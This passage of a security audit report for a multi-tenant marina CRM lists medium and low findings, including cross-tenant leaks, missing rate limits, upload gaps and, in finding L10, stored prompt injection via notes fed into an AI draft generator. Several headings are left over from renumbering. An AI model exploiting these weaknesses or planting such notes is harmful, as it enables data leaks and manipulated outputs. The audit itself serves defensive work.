`removeInterestBerth` deletes the junction row first, then fires `evaluateRule('berth_unlinked', …)`, which resolves its target via `getPrimaryBerth(interestId)` — the just-unlinked berth is gone, so it targets a different still-linked berth. Default mode `off` makes it dormant, but enabling auto/suggest would corrupt an unrelated berth's status.
|
||||
**Fix:** Pass the specific unlinked `berthId` to `evaluateRule` (add `targetBerthIdOverride`), evaluating before the delete. **Confidence: 0.85**
|
||||
|
||||
#### M6 — `unmergeClients` reversibility contract is documented but does not exist
|
||||
|
||||
`src/lib/services/client-merge.service.ts:13-16,134`
|
||||
The header documents a full 7-day reversibility contract and `dedup_undo_window_days` setting; the snapshot is written to `clientMergeLog.mergeDetails` — but `unmergeClients` has **zero definitions** in `src/`. Operators are told merges are reversible; they are not, and merge archives the loser + re-points children destructively.
|
||||
**Fix:** Implement `unmergeClients` against the stored snapshot, or remove the reversibility claims + undo-window setting. **Confidence: 0.92**
|
||||
|
||||
#### M7 — GDPR Article-15 export omits PII-bearing tables
|
||||
|
||||
`src/lib/services/gdpr-bundle-builder.ts:16-37,89-194`
|
||||
The bundle omits `payments` (amounts/receipts/dates), `berthWaitingList`, `supplementalFormTokens`, and `interestFieldHistory` — all carrying client PII / cascade FKs. Payments in particular are clearly Article-15 personal data.
|
||||
**Fix:** Add port-scoped queries + bundle sections for these tables. **Confidence: 0.85**
|
||||
|
||||
#### M8 — Bounce poller matches `document_sends` globally with no `port_id` → cross-tenant misattribution
|
||||
|
||||
`src/jobs/processors/imap-bounce-poller.ts:146-156`
|
||||
_(Reported by both the worker-isolation lane and the email-engine lane — merged within pass 3; email lane is the more detailed.)_ The match scopes on `recipientEmail` + 7-day window only, with no `portId` filter, against a single global env IMAP inbox. If Ports A and B both emailed `victim@x.com`, a bounce is pinned to whichever sent most recently — wrong port's `document_sends` row gets `bounceStatus`/`bounceReason`, wrong rep notified (and the bounce reason text leaks into the other tenant's notification). `originalRecipient` is parsed from attacker-controllable IMAP body, so a forged NDR can mark an arbitrary cross-port send bounced.
|
||||
**Fix:** Require per-port IMAP (`getSalesImapConfig(portId)`) + `eq(documentSends.portId, portId)`, or embed a port-tagged token in the outbound Message-ID and match on `inReplyTo`/References. **Confidence: 0.85**
|
||||
|
||||
#### M9 — Duplicate scheduled-report emails on BullMQ retry (no per-recipient idempotency)
|
||||
|
||||
`src/lib/services/report-render.service.ts:371-380`
|
||||
`emailedAt` is stamped only after the whole recipient loop (queue `maxAttempts:3`); a transient SMTP failure on recipient N re-sends to 1..N-1 on retry, and there's no top-of-function early-return on `run.emailedAt`. Recipients (possibly external) get duplicate report PDFs.
|
||||
**Fix:** Early-return when `run.emailedAt` is set; track per-recipient state, or stamp `emailedAt` before the loop and log-not-throw individual send failures. **Confidence: 0.8**
|
||||
|
||||
#### M10 — Socket auth never checks `userProfiles.isActive` (deactivated users keep receiving broadcasts)
|
||||
|
||||
`src/lib/socket/server.ts:46-55,67-89,116-149`
|
||||
The HTTP gate rejects `!isActive` with 403; the socket middleware/`userCanAccessPort`/`userCanJoinEntity` check only `isSuperAdmin` + a `userPortRoles` row. A deactivated rep's live tab (valid session cookie) keeps a socket and receives every `port:`-scoped broadcast (new clients, invoice totals + names, document-signed, payment amounts, note previews) until the cookie expires.
|
||||
**Fix:** Add `if (!profile.isActive) return next(new Error('Account disabled'))` in the middleware and short-circuit the can-access helpers on `!isActive`. **Confidence: 0.9**
|
||||
|
||||
#### M11 — Socket entity-room gate is membership-only, not permission-scoped (note-preview over-exposure)
|
||||
|
||||
`src/app/api/v1/clients/[id]/notes/route.ts:50-55`, `interests/[id]/notes/route.ts:43-48` + `src/lib/socket/server.ts:62-89`
|
||||
`userCanJoinEntity` admits any user with a `userPortRoles` row for the entity's port without consulting role permissions. A user whose role grants zero client permissions can `join:entity {type:'client'}` and receive note-content previews (`note.content.slice(0,100)`) over the socket, whereas REST `GET /clients/[id]/notes` would 403 via `withPermission('clients','view')`.
|
||||
**Fix:** Thread the role permission into `userCanJoinEntity` (require `clients.view`/`interests.view`/`berths.view`). **Confidence: 0.78**
|
||||
|
||||
#### M12 — Self-target guard missing on `updateUser` (admin self-deactivate / self-escalate)
|
||||
|
||||
`src/lib/services/users.service.ts:205` (handler `admin/users/[id]/route.ts:20`)
|
||||
`removeUserFromPort` blocks self-removal but `updateUser` has no equivalent; the PATCH handler passes `params.id` through unchecked. An admin can PATCH themselves `{"isActive": false}` (self-lockout) or `{"residentialAccess": true}` (self-escalation, compounding H8) — the override route blocks self-target for exactly this reason.
|
||||
**Fix:** Reject `userId === meta.userId` for privileged fields (`isActive`, `roleId`, `residentialAccess`). **Confidence: 0.8**
|
||||
|
||||
#### M13 — Bulk-mutation endpoints have no `bulk` rate limiter (DB-amplification DoS)
|
||||
|
||||
`src/app/api/v1/{clients,companies,yachts,interests,berths,residential/interests}/bulk/route.ts`
|
||||
`rateLimiters.bulk` (5/min) is defined but applied to zero bulk routes (`grep` → 0 hits). Each request is a large multi-row transaction; one valid session can fire unbounded bulk archive/update/transfer. The hard-delete bulk variant _is_ limited; the ordinary mutators are not.
|
||||
**Fix:** Add `withRateLimit('bulk', …)` to the bulk handlers. **Confidence: 0.75**
|
||||
|
||||
#### M14 — Broad `api` limiter (120/min) applied to 0 of 353 v1 routes; no edge backstop
|
||||
|
||||
`src/lib/api/helpers.ts:367-391` + `src/proxy.ts`
|
||||
Only `hardDeleteCode`/`exports`/`ocr` pass anything to `withRateLimit`; the edge middleware does auth-cookie + CSP only, no rate limiting. The entire authenticated v1 API has no per-request ceiling, and `checkRateLimit` fails open on Redis outage.
|
||||
**Fix:** Apply `withRateLimit('api', …)` as a default in `withAuth`/a shared wrapper, with tighter named limiters layered on top. **Confidence: 0.7**
|
||||
|
||||
#### M15 — `export-pdf` route renders fully client-supplied, unbounded payload synchronously (memory/timeout DoS + arbitrary branded-PDF content)
|
||||
|
||||
`src/app/api/v1/reports/export-pdf/route.ts:29-60,105`
|
||||
`payloadSchema` validates shape only — no `.max()` on `sections`/`rows` — then `renderToBuffer` runs inline on the request thread (gated only by `reports.view_dashboard`). A huge payload OOMs/stalls Node; content is whatever the client sent (no server re-derivation), so arbitrary text lands in a "Port Nimara"-branded PDF. The worker path caps at `REPORT_ROW_CAP=1000`; this route doesn't.
|
||||
**Fix:** Add `.max()` bounds + a total-cell budget, and/or move the render to the BullMQ worker. **Confidence: 0.8**
|
||||
|
||||
#### M16 — S3 `presignUpload` constrains neither content-type nor size; doc comment falsely claims content-length-range
|
||||
|
||||
`src/lib/storage/s3.ts:285-292` (caller doc `pdf-upload-url/handlers.ts:1-5`)
|
||||
`presignedPutObject(bucket, key, expiry)` signs only key+expiry; `opts.contentType`/size are dropped. A presigned-PUT holder can upload any bytes/type/size for 15 min. Blast radius is bounded because berth-pdf + brochure register paths re-HEAD + magic-byte-probe and delete non-`%PDF-` — but any future caller forgetting the re-check is an unvalidated-upload hole, and the object lives uncapped between upload and register.
|
||||
**Fix:** Move S3 to `presignedPostPolicy` (signs content-length-range + content-type), or document loudly that every consumer MUST re-validate; correct the misleading comment now. **Confidence: 0.9**
|
||||
|
||||
#### M17 — Filesystem proxy PUT enforces global 50 MB, not the advertised per-port `berth_pdf_max_upload_mb` (15 MB)
|
||||
|
||||
`src/app/api/storage/[token]/route.ts:172-211`
|
||||
The presign handler returns `maxBytes = getMaxUploadMb(portId)*1MB`, but the filesystem proxy PUT only checks `MAX_FILE_SIZE = 52_428_800`. A rep can upload 50 MB to a berth capped at 15 MB. Magic-byte gate still requires `%PDF-`, so not arbitrary-content; it's an advertised-vs-enforced policy mismatch.
|
||||
**Fix:** Embed the per-port byte cap in the token payload at presign and enforce it in the proxy PUT. **Confidence: 0.85**
|
||||
|
||||
#### M18 — Single-use storage token consumed before the file is confirmed servable → permanently bricks emailed URLs on transient first-click failure
|
||||
|
||||
`src/app/api/storage/[token]/route.ts:75-102`
|
||||
The GET handler burns the SET-NX replay key (TTL pinned to token expiry, up to 24h/25 days) **before** `fs.stat`. A transient `fs.stat` error, NFS hiccup, slow-stream disconnect, or any 5xx after line 75 leaves the token marked seen — every later attempt returns "Token already used" for the token's full life. These URLs are emailed to customers verbatim. Availability, not security.
|
||||
**Fix:** Set the replay key only after the response is successfully committed, or `DEL` it on error/`ENOENT` paths so a genuine retry succeeds. **Confidence: 0.85**
|
||||
|
||||
#### M19 — Per-conversion `toFixed(2)` rounding inside row-by-row accumulation compounds drift; inverse rates stored pre-rounded
|
||||
|
||||
`src/lib/services/currency.ts:23` + `src/lib/services/reports/financial.service.ts` (all sums: `:155,384,406,441`)
|
||||
`convert` rounds every conversion (`Number((amount*rate).toFixed(2))`); reports call it once per row inside accumulation loops, so each row is cents-rounded before adding — error accumulates up to ~±0.5¢×N. `refreshRates` stores inverse rates pre-rounded to 6dp, so `X→USD` and `USD→X` aren't exact reciprocals. Multi-currency `revenueCollected`/`netContribution`/`pipelineExpected` won't reconcile to bank statements.
|
||||
**Fix:** Sum in source currency grouped by currency, convert each bucket once at the end, round only the final figure; store rates at full precision. **Confidence: 0.8**
|
||||
|
||||
#### M3 — Public website intake inserts a primary `interest_berths` row with `isInEoiBundle:false`, violating the primary↔bundle invariant
|
||||
#### M20 — Public website intake inserts a primary `interest_berths` row with `isInEoiBundle:false`, violating the primary↔bundle invariant
|
||||
|
||||
`src/lib/services/public-interest.service.ts:237-244`
|
||||
The intake path raw-inserts `{ isPrimary:true, isSpecificInterest:true, isInEoiBundle:false }`. The canonical `upsertInterestBerthTx` forces `isInEoiBundle=true` for any primary; migration `0083` exists specifically to repair this exact drift, and there is no DB trigger/check enforcing the invariant. Every website-originated multi-berth interest gets its primary berth silently excluded from the EOI bundle, so `buildEoiContext` (`eoi-context.ts:147-152`) omits it from the multi-berth range field on the signed document until a rep re-touches the link via the service.
|
||||
**Fix:** Call `upsertInterestBerthTx(tx, newInterest.id, berthId, { isPrimary:true, isSpecificInterest:true, addedBy:'public-submission' })` instead of the raw insert. **Confidence: 0.78**
|
||||
|
||||
#### M4 — Webhook test send ignores `isActive` while redeliver enforces it
|
||||
#### M21 — Webhook test send ignores `isActive` while redeliver enforces it
|
||||
|
||||
`src/lib/services/webhooks.service.ts:357-397`
|
||||
`redeliverWebhookDelivery:301` hard-rejects `!webhook.isActive`, but `sendTestWebhook` checks only ownership and never inspects `isActive`. An admin who disabled a webhook (e.g. because its endpoint was flagged) can still force a live signed POST via the test button — the most convenient trigger for the H1 redirect SSRF since the admin controls timing and event type.
|
||||
**Fix:** Mirror redeliver — reject test sends to inactive webhooks, or document the bypass deliberately. **Confidence: 0.82**
|
||||
|
||||
#### M5 — Dead-letter alert fans out to all super-admins across all ports, leaking the failing webhook's name cross-tenant
|
||||
#### M22 — Dead-letter alert fans out to all super-admins across all ports, leaking the failing webhook's name cross-tenant
|
||||
|
||||
`src/lib/queue/workers/webhooks.ts:312-331`
|
||||
The super-admin query has no `portId` filter, so a delivery failure on Port A notifies every super-admin of every tenant with a `description` embedding admin-controlled `webhook.name` (max 200 chars) and a `/admin/webhooks/{id}` link — a cross-tenant info leak plus a minor injection vector into other tenants' notification feeds. The notification row's `portId` is the originating port, so it may surface under the wrong port context.
|
||||
**Fix:** Scope the super-admin lookup to `portId`, or route to an explicitly cross-tenant ops channel. **Confidence: 0.78**
|
||||
|
||||
#### M6 — Invoice totals computed in JS float and persisted via `String(...)` into unbounded `numeric`; `0%` discount coerced to default 2%
|
||||
#### M23 — Invoice totals computed in JS float and persisted via `String(...)` into unbounded `numeric`; `0%` discount coerced to default 2%
|
||||
|
||||
`src/lib/services/invoices.ts:250,270,273,322-327,350` (cols: `src/lib/db/schema/financial.ts:109-114`)
|
||||
`subtotal`/`discountAmount`/`total`/line-item `total` are float-computed and written with `String(...)` into `numeric` columns that have no precision/scale, persisting values like `"0.30000000000000004"` and `24.690999999999999`. Separately, `discountPct = Number(setting.value) || 2` (`:264`) coerces a legitimately-configured `0%` net10 discount to 2%. Blast radius capped today (invoices module default-disabled, zero dev rows), but any port that enables it bills clients these values.
|
||||
**Fix:** Round each money output to 2dp before `String(...)`; give the columns explicit `(12,2)`; use `setting.value ?? 2` so a configured 0% is honored. **Confidence: 0.85**
|
||||
|
||||
#### M7 — Dry-run preview lies about intra-file duplicate clients; no DB unique backstop on client-contact email
|
||||
#### M24 — Public file gate keys off user-settable `category`; any authed user can make own-port files publicly streamable _(pass-1, confirmed)_
|
||||
|
||||
`src/app/api/public/files/[id]/route.ts:26` + `src/lib/validators/files.ts:11,18` + `src/lib/services/files.ts:186`
|
||||
`category` is a free string with no allow-list, so a user can self-set `category=branding` to make their own-port file publicly streamable + CDN-cached 24h. No cross-tenant theft (ids are UUIDv4).
|
||||
**Fix:** Reserve `branding` (server-controlled) or add an explicit `is_public` column. **Confidence: high (confirmed)**
|
||||
|
||||
#### M25 — Dry-run preview lies about intra-file duplicate clients; no DB unique backstop on client-contact email
|
||||
|
||||
`src/lib/import/classify.ts:91-108` vs `src/lib/import/commit.ts:81-118` (index: `src/lib/db/schema/clients.ts:104-109`)
|
||||
`classifyRows` never writes, so two file rows with the same brand-new email both classify `insert`; on commit the interleaved classify-then-insert ordering turns row 2 into a `skip`. For companies/berths a real unique index makes this a clean row-error, but `clientContacts` email/phone indexes are **plain `index(...)`, not unique** — the only thing preventing duplicate clients is the sequential ordering. Any future batching/parallelizing/pre-classifying the commit silently creates duplicate clients with no DB guard. (Note: the import engine is currently only wired into the BullMQ worker; no API route enqueues it yet, so this is latent until the UI lands.)
|
||||
**Fix:** Add a partial unique index on `client_contacts(port, lower(value)) WHERE channel='email'`; have `classifyRows` track in-file match keys so preview reflects commit. **Confidence: 0.85**
|
||||
|
||||
#### M8 — Import undo only reverses inserts; `update-matches` mutations are irreversible
|
||||
#### M26 — Import undo only reverses inserts; `update-matches` mutations are irreversible
|
||||
|
||||
`src/lib/import/commit.ts:139-187`
|
||||
`undoBatch` filters `action='inserted'` (`:162`), so an `update-matches` run that overwrote 500 companies' `taxId`/`billingEmail` or 500 berths' `price`/`dimensions` cannot be rolled back — the ledger stores only the entity id, not the pre-image; undo reports `deleted:0` and leaves every mutation. Separately, client undo `db.delete(clients)` relies on FK violations to block deletes but can't distinguish dependents the import created from those a user added later, and gives the operator no reason a row blocked beyond a row number.
|
||||
**Fix:** Capture a JSON pre-image in `import_batch_rows` for updated rows and support update-undo; document `update-matches` as destructive-without-rollback until then; carry the blocking FK/table in blocked-row reporting. **Confidence: 0.8**
|
||||
|
||||
#### M9 — No idempotency/status guard on import commit; a re-enqueued batch re-imports and duplicates the row ledger
|
||||
#### M27 — No idempotency/status guard on import commit; a re-enqueued batch re-imports and duplicates the row ledger
|
||||
|
||||
`src/lib/import/commit.ts:76-79` + `src/lib/queue/workers/import.ts:34-52`
|
||||
`commitBatch` unconditionally sets `status:'committing'` and re-processes every row; the worker never checks `batch.status`. `maxAttempts:1` blocks BullMQ auto-retry, but a future commit endpoint or operator re-trigger re-runs the whole file — appending a second full set of `import_batch_rows` so undo later sees both run-1 inserts and run-2 skips and header counts no longer reconcile with the ledger undo trusts.
|
||||
**Fix:** Early-return in the worker when `batch.status` is not in `{dry_run, uploaded}`; gate the transition with `UPDATE … WHERE status IN (…)` and bail on 0 rows. **Confidence: 0.8**
|
||||
|
||||
#### M10 — Inconsistent residential pipeline-stage validation: bulk rejects custom stages, per-row PATCH accepts arbitrary garbage
|
||||
#### M28 — Inconsistent residential pipeline-stage validation: bulk rejects custom stages, per-row PATCH accepts arbitrary garbage
|
||||
|
||||
`src/app/api/v1/residential/interests/bulk/route.ts:22-27` vs `src/lib/validators/residential.ts:73-83` + `src/lib/services/residential.service.ts:553`
|
||||
Bulk hardcodes `z.enum(PIPELINE_STAGES)` (the 7 built-ins), so after any admin stage customization a bulk `change_stage` to a custom stage 400s. The per-row path uses `z.string()` and writes it straight through with no membership check, so `PATCH {pipelineStage:"anything"}` parks an interest on a non-existent stage that then surfaces as an orphan in `findOrphanInterests` and distorts funnel reports.
|
||||
**Fix:** Replace the hardcoded enum with a runtime check against `listStages(portId)` in both the bulk handler and `updateResidentialInterest`. **Confidence: 0.85**
|
||||
|
||||
#### M11 — Tenancies auto-create re-enables a module an admin explicitly disabled
|
||||
#### M29 — Tenancies auto-create re-enables a module an admin explicitly disabled
|
||||
|
||||
`src/lib/services/tenancies-module.service.ts:35-69,76-87` + `berth-tenancies.service.ts:150-151` (+ `documents.service.ts:1687` webhook path)
|
||||
`createPending` calls `enableTenanciesModule(portId)` unconditionally inside its tx, UPSERTing the setting back to `true`, and the webhook `autoCreatePendingTenancies` deliberately does not gate on `isTenanciesModuleEnabled`. So: admin disables Tenancies → a Reservation Agreement completes → the module flips itself back on and reappears in the sidebar, contradicting the "explicit false always wins" precedence.
|
||||
**Fix:** Only call `enableTenanciesModule` when the setting is unset (respect an explicit `false`), or have it no-op when a stored `false` exists. **Confidence: 0.72**
|
||||
|
||||
_(MEDIUM tier = 29 distinct findings, M1–M29: M1–M18 carry the pass-3 MEDIUMs, M19–M29 carry the pass-1+2 MEDIUMs. No within-tier merges occurred at MEDIUM — all merges were in the CRITICAL/HIGH tiers.)_
|
||||
|
||||
---
|
||||
|
||||
### LOW
|
||||
|
||||
#### L1 — Deposit gate has no lower-bound re-lock after a refund; float-summed `>=` boundary
|
||||
#### L1 — `clearInterestOutcome` reopen-stage default references a dead `'completed'` sentinel
|
||||
|
||||
`src/lib/services/interests.service.ts:1463-1465`
|
||||
`pipelineStage === 'completed' ? 'qualified' : …` is dead after the 9→7 migration; any legacy row still holding `'completed'` reopens to `qualified` rather than its true pre-close stage.
|
||||
**Fix:** Drop the dead branch or route via `canonicalizeStage`. **Confidence: 0.7**
|
||||
|
||||
#### L2 — `STAGE_TRANSITIONS` blocks the only forward edge into `nurturing` from `enquiry`
|
||||
|
||||
`src/lib/constants.ts:140-148`
|
||||
`enquiry: ['qualified','eoi']` omits `nurturing`; a new enquiry must pass through `qualified` (or override) to be parked as nurturing. Minor state-graph/UX gap.
|
||||
**Fix:** Add `nurturing` to the `enquiry` transition set. **Confidence: 0.6**
|
||||
|
||||
#### L3 — Berth-recommender stage-scale mismatch classifies `reservation`-stage berths as Tier D ("late stage") and hides them `[needs-confirm]`
|
||||
|
||||
`src/lib/services/berth-recommender.service.ts:213` vs `:556-568`
|
||||
`LATE_STAGE_THRESHOLD` derives from a JS map (`deposit_paid=5`) but the SQL CASE uses a different 1-7 scale (`reservation=5`). `classifyTier` compares SQL-scale `>= 5`, so reservation-stage interests trip late-stage and the berth is suppressed when `tier_ladder_hide_late_stage` is on (default true). Lane rated this HIGH; demoted to LOW + `[needs-confirm]` — impact is recommender-ranking only (no money/public-status effect) and rests on the two scales genuinely diverging at runtime; warrants a direct trace before fixing.
|
||||
**Fix:** Make the SQL CASE emit the same scale as `STAGE_ORDER`, single source of truth. **Confidence: 0.8 (code), severity disputed.**
|
||||
|
||||
#### L4 — Recommender `classifyTier` dead branch + unreachable "under offer" (space) variant
|
||||
|
||||
`src/lib/services/berth-recommender.service.ts:240-242`
|
||||
`return t.activeInterestCount > 0 ? 'C' : 'C'` is dead; `normStatus === 'under offer'` (space) never matches the canonical `under_offer`. Cosmetic; behavior correct.
|
||||
**Fix:** Collapse to `if (normStatus === 'under_offer') return 'C';`. **Confidence: 0.95**
|
||||
|
||||
#### L5 — Orphaned storage blob + `files` row on mid-render retry
|
||||
|
||||
`src/lib/services/report-render.service.ts:278-296` + `reports.service.tsx:276-307`
|
||||
Neither path guards the `backend.put` + `files` insert against re-execution; a crash between put and the status/`fileId` write leaves an unreferenced orphan on BullMQ retry (`reports` maxAttempts 3). Correct `portId`; cost/cosmetic only.
|
||||
**Fix:** Deterministic storage key per run + `onConflictDoNothing`, or early-return when the run already has a `storageKey`/`fileId`. **Confidence: 0.7**
|
||||
|
||||
#### L6 — Non-atomic SELECT-then-UPDATE in report scheduler would double-fire under multiple worker replicas `[needs-confirm]`
|
||||
|
||||
`src/lib/queue/workers/reports.ts:31-90`
|
||||
Both pollers `SELECT WHERE nextRunAt <= now` then `UPDATE nextRunAt` with no `FOR UPDATE SKIP LOCKED`. Safe today (single `crm-worker`, concurrency 1) but a foot-gun the moment `MULTI_NODE_DEPLOYMENT` adds a replica → duplicate runs + email blasts.
|
||||
**Fix:** Atomic claim (`UPDATE … WHERE id IN (SELECT … FOR UPDATE SKIP LOCKED) RETURNING`). **Confidence: 0.75 (latent).**
|
||||
|
||||
#### L7 — `send-notification-email` omits `portId`, bypassing per-port send-from / branding
|
||||
|
||||
`src/lib/queue/workers/notifications.ts:95-99`
|
||||
Unlike every other `sendEmail` call site, this one omits `portId`, so `getPortEmailConfig` is never consulted and the mail goes via the global default SMTP/From. Subject prefix is port-derived but the envelope From is not — in multi-port, tenant B's notifications send from tenant A's/global identity.
|
||||
**Fix:** Pass `notif.portId` to `sendEmail`. **Confidence: 0.8**
|
||||
|
||||
#### L8 — Worker-local `recordAiUsage` duplicate diverges from the non-throwing service version (budget-accounting drift)
|
||||
|
||||
`src/lib/queue/workers/ai.ts:33-47`
|
||||
The worker defines its own `recordAiUsage` (bare `db.insert`, trusts caller-passed `totalTokens`) instead of importing the service version (try/catch, derives `totalTokens = input+output`). If `usage.total_tokens` diverges from prompt+completion, budget accounting corrupts.
|
||||
**Fix:** Delete the worker copy, call the service `recordAiUsage`. **Confidence: 0.7**
|
||||
|
||||
#### L9 — AI spend cap disabled by default (`DEFAULT_BUDGET.enabled=false`)
|
||||
|
||||
`src/lib/services/ai-budget.service.ts:34,152-155`
|
||||
`checkBudget` short-circuits to `{ ok:true, remaining:+Infinity }` when `!enabled`, so a port that never opens the AI-budget screen has no cap even on the OCR path that does call `checkBudget`. Default posture is "unlimited AI spend per tenant."
|
||||
**Fix:** Ship a conservative enabled default, or warn when AI features are flag-enabled while budget is disabled. **Confidence: 0.8**
|
||||
|
||||
#### L10 — Stored prompt injection via interest notes / email subjects (unsanitized into AI prompt)
|
||||
|
||||
`src/lib/queue/workers/ai.ts:165,168`
|
||||
`additionalInstructions` is sanitized + data-fenced, but recent notes (`n.content.slice(0,200)`) and recent email subjects are injected raw in the same user-role message, above the fenced block. Insider/stored-injection only (notes are internal-rep-written, not portal/public); output is bounded (10KB cap, JSON-only `response_format`) so no trivial system-prompt exfil — but a planted note can steer a colleague's generated draft (malicious link, off-brand content).
|
||||
**Fix:** Run notes + subjects through `sanitizeForPrompt` + the same data-fence. **Confidence: 0.85**
|
||||
|
||||
#### L11 — Documenso v2: persisting a `null` `documensoNumericId` makes `DOCUMENT_COMPLETED` webhooks silently no-op `[needs-confirm]`
|
||||
|
||||
`src/lib/services/documenso-client.ts:578` + persist `document-templates.ts:737,849`
|
||||
`normalizeDocument` derives `numericId` only when `r.id` is numeric; v2 webhooks carry only the numeric pk as `payload.id` while `documents.documensoId` holds the `envelope_xxx` string. If `/template/use` doesn't surface the numeric pk under `r.id` (tests assert `numericId: null` is routine), `resolveWebhookDocument` matches neither column → completion dropped (signed PDF never downloads, stage never advances, no completion email/tenancy) until the poll worker reconciles via `documensoId`. Degraded-not-broken → HIGH per lane, but lane self-rated confidence 0.6 (depends on the exact `/template/use` v2 response shape, unobserved live) → `[needs-confirm]`.
|
||||
**Fix:** Re-fetch `getDocument(created.id)` for an authoritative `numericId`, or assert non-null at persist with a GET fallback; add a v2 numeric-webhook round-trip integration test. **Confidence: 0.6**
|
||||
|
||||
#### L12 — No normalization/validation of admin-set Documenso API URL → silent double-pathing 404s
|
||||
|
||||
`src/lib/services/port-config.ts:444` + `validators/settings.ts:4-5`
|
||||
`upsertSettingSchema` validates `value: z.unknown()`; the admin override (canonical) isn't `.url()`-checked like the env var. An admin pasting `…/api/v1` or a trailing slash yields `…/api/v1/api/v2/envelope/create` → 404 on every send/download, surfaced only as a generic `DOCUMENSO_UPSTREAM_ERROR`.
|
||||
**Fix:** Strip trailing `/api/v1`|`/api/v2`+slashes and `z.string().url()`-validate the override key. **Confidence: 0.85**
|
||||
|
||||
#### L13 — Documenso `completed` event insert lacks `signatureHash` + `onConflictDoNothing` (duplicate timeline rows)
|
||||
|
||||
`src/lib/services/documents.service.ts:1746-1750`
|
||||
Unlike every sibling handler, the completion insert has no conflict clause; a failed-download-then-retry accumulates duplicate `completed` rows. Separately, the `viewed` insert (line 1903) passes `signatureHash` but not `recipientEmail`, so `idx_de_per_recipient_dedup` has a null key and can't dedup v2 multi-delivery opens. Cosmetic; no state corruption (completion gated by `status='completed' && signedFileId`).
|
||||
**Fix:** Add `signatureHash` + `.onConflictDoNothing()` to the completed insert; populate `recipientEmail` on viewed. **Confidence: 0.9**
|
||||
|
||||
#### L14 — GDPR builder docstring overstates `portId` filtering
|
||||
|
||||
`src/lib/services/gdpr-bundle-builder.ts:78-82` vs `:111-119,160-162,172-175`
|
||||
The docstring claims every query filters by `portId`, but `clientContacts/clientAddresses/clientRelationships/clientNotes/clientTags/formSubmissions/scratchpadNotes/portalUsers` filter by `clientId` only. Safe (clientId is a globally-unique UUID, client pre-validated against `portId`), but the comment overstates the guarantee.
|
||||
**Fix:** Add redundant `portId` predicates (defense-in-depth) or correct the comment. **Confidence: 0.8**
|
||||
|
||||
#### L15 — Hard-deleting a merge-winner NULLs loser redirect breadcrumbs (`merged_into_client_id`)
|
||||
|
||||
`src/lib/db/migrations/0042_missing_fk_constraints.sql:156` + `client-hard-delete.service.ts`
|
||||
The self-FK is `ON DELETE SET NULL`; hard-delete doesn't proactively migrate pointers, so archived losers' redirect breadcrumb silently breaks. Benign (no FK violation, no cross-tenant issue).
|
||||
**Fix:** Note in the hard-delete cascade comment. **Confidence: 0.75**
|
||||
|
||||
#### L16 — Email/bounce hardening nits (parsed recipient not validated; raw header/footer HTML; subject-token CRLF)
|
||||
|
||||
`src/lib/email/bounce-parser.ts:95-107`, `src/lib/email/shell.ts:83,85` + `port-config.ts:606-607`, `src/lib/email/template-overrides.ts:36-39`
|
||||
(a) `originalRecipient` from untrusted IMAP body is never run through `assertEmailValid` before query/notify (no SQLi/injection, but can falsely match/pollute the notification string); (b) `emailHeaderHtml`/`emailFooterHtml` interpolated raw into every transactional email — intentional `manage_settings`-gated branding feature, so self-XSS-by-highest-privilege; (c) `applySubjectTokens` does no CRLF neutralization (nodemailer strips CR/LF, so safe in practice).
|
||||
**Fix:** Validate the parsed recipient against `RFC5322_EMAIL`; optionally allowlist-sanitize header/footer HTML for multi-admin tenants. **Confidence: 0.6–0.8**
|
||||
|
||||
#### L17 — Storage hardening nits (Content-Type echoed from signed token; dev HMAC seed reuse; access-key in fingerprint)
|
||||
|
||||
`src/app/api/storage/[token]/route.ts:109`, `src/lib/storage/filesystem.ts:431-446` + `index.ts:211-213`
|
||||
(a) GET proxy sets `Content-Type` from signed `payload.c` with no allow-list (`nosniff` + sometimes-`attachment` mitigate; issuer-trust only, not forgeable); (b) dev HMAC fallback reuses `BETTER_AUTH_SECRET` (guarded to dev, throws in prod — acceptable); (c) `fingerprint()` JSON-stringifies the decrypted S3 access key into a process-lifetime string (secret key stays encrypted). Low impact, in-process only.
|
||||
**Fix:** Constrain `payload.c` to `ALLOWED_MIME_TYPES` (or force `attachment`); fingerprint on a hash of config, not raw decrypted values. **Confidence: 0.6–0.75**
|
||||
|
||||
#### L18 — UI: decorative emoji violate the named-icon-component doctrine (3 sites)
|
||||
|
||||
`src/components/documents/hub-root-view.tsx:156` (`folder`), `src/components/admin/documenso/template-sync-button.tsx:328` (`warning`), `src/components/admin/onboarding-checklist.tsx:265` (party toast)
|
||||
MEMORY explicitly flags decorative emoji as cheap/AI-like; the app uses Lucide icons everywhere else. _(Bundled — 3 instances of one rule violation.)_
|
||||
**Fix:** Replace with `<Folder>`/`<AlertTriangle>` and drop the toast party emoji (toasts already render a status icon). **Confidence: ~0.9**
|
||||
|
||||
#### L19 — UI: NotesList runs a 30s wall-clock interval on every mount + `use-create-from-url` stale-closure suppression
|
||||
|
||||
`src/components/shared/notes-list.tsx:185-189`, `src/hooks/use-create-from-url.ts:17-26`
|
||||
(a) `setInterval(setNow, 30_000)` ticks unconditionally to drive the edit-countdown, re-rendering every open NotesList even when nothing is editable; (b) `onOpen` is excluded from effect deps via eslint-disable — currently safe (fires once, strips the param) but fragile.
|
||||
**Fix:** Schedule the interval only when a note is inside its edit window; wrap `onOpen` in a ref/`useCallback`. **Confidence: 0.55–0.7**
|
||||
|
||||
#### L20 — Socket: port-less connection allowed; `join:entity` `type` not runtime-validated; connection-state-recovery restores rooms
|
||||
|
||||
`src/lib/socket/server.ts:108,133-144,164-172`
|
||||
(a) a socket connecting with no `auth.portId` is allowed (joins no `port:` room) but can still `join:entity` — safely gated by `userCanJoinEntity`'s DB lookup, so no leak; (b) `join:entity` trusts the TS union and doesn't zod/allow-list `{type,id}` — fails closed today (`entityPortId=null` → false) but is an untyped trust boundary; (c) `connectionStateRecovery` restores prior rooms on reconnect but re-runs middleware (cookie re-validated), so revoked sessions are rejected — only residual is a ≤2-min window retaining an old room mid-disconnect. _(Bundled defense-in-depth nits.)_
|
||||
**Fix:** Reject port-less connections or document them; add `z.enum(['berth','client','interest'])`+uuid validation at the handler top. **Confidence: 0.6–0.72**
|
||||
|
||||
#### L21 — Rate-limiter sliding window admits `max + 1` requests (off-by-one) `[needs-confirm]`
|
||||
|
||||
`src/lib/rate-limit.ts:48,52`
|
||||
`zadd` records before `zcard` counts and `allowed: count <= config.max`, so the limiter admits `max+1` per window. Lane reasoning is self-contradicting in the report; flagged `[needs-confirm]`. Affects every limiter uniformly, minor.
|
||||
**Fix:** `count < config.max` after the add, or `zcard` before `zadd`. **Confidence: 0.75**
|
||||
|
||||
#### L22 — Brochure presign omits `portSlug`, skipping the proxy port-binding (`p`) token field
|
||||
|
||||
